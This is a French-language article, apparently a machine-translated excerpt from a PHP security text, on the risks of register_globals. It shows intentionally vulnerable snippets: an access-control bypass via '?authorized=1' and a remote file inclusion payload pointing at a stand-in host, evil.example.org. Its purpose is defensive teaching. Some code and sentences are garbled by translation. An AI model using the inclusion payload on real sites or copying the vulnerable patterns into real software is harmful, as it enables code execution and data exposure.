Le paramètre register_globals est désactivé par défaut dans les versions PHP 4.2.0 et supérieures. Bien que cela ne soit pas considéré comme une faille de sécurité, il s’agit certainement d’un risque pour la sécurité. Par conséquent, register_globals doit toujours être masqué pendant le développement.
Pourquoi est-ce un risque pour la sécurité ? Chaque situation nécessite une explication distincte pour la décrire clairement, et il est très difficile de donner un seul exemple approprié pour chaque situation. Quoi qu'il en soit, l'exemple le plus courant est décrit dans le manuel PHP :
<?phpif (authenticated_user()){$authorized = true;}if ($authorized){include '/highly/sensitive/data.php';} >Quand ? le paramètre register_globals est activé, cette page est accessible à l'aide du paramètre ?authorized=1, contournant ainsi le contrôle d'accès. Bien sûr, cette vulnérabilité apparente est le résultat d'un mauvais développement plutôt que de Register_globals, mais elle augmente clairement le potentiel de vulnérabilités dangereuses. En éliminant cet effet, les variables globales ordinaires (telles que $authorized dans cet exemple) ne seront plus affectées par les données soumises par le client. La meilleure façon est d'initialiser toutes les variables et de définir le paramètre error_reporting sur E_ALL afin que l'utilisation de variables non initialisées ne soit pas ignorée pendant le développement.
Un autre exemple concernant register_globals est que des problèmes peuvent survenir lors de l'utilisation d'include pour inclure des chemins dynamiques :
<?phpinclude "$path/script.php";?> Lorsque le paramètre register_globals est activé, cette page peut utiliser ?path=http%3A % L'accès aux paramètres 2F%2Fevil.example.org%2F%3F rend le code de cet exemple équivalent au code suivant :
<?phpinclude 'http://evil.example.org/?/script.php';? Le paramètre allow_url_fopen est activé (il est activé par défaut même dans php.ini-recommended), cela inclura les fichiers distants comme http://evil.example.org/ ainsi que les fichiers locaux. Il s'agit d'une vulnérabilité de sécurité courante que l'on retrouve même dans certains projets open source très célèbres.
L'initialisation de $path peut éviter ce danger caché sans protéger le paramètre register_globals. Cependant, les erreurs du développeur peuvent entraîner des variables non initialisées. La modification de la configuration globale pour bloquer le paramètre register_globals peut éviter autant que possible que ce danger caché soit ignoré.
La commodité est toujours agréable. Dans le passé, nous devions faire la distinction manuellement entre les données du formulaire et les variables ordinaires. Il est également très pratique d'utiliser les tableaux globaux intégrés de $_POST et $_GET, et cela ne vaut pas la peine de prendre le risque causé par l'activation du paramètre register_globals. Bien que je ne sois pas du tout d'accord sur le fait que l'activation du paramètre register_globals équivaut à une sécurité faible, je recommande fortement de le désactiver.
Il convient d'ajouter que le blocage du paramètre register_globals aidera les développeurs à prêter plus d'attention à la source des données, et c'est exactement la qualité qu'un développeur soucieux de la sécurité devrait avoir.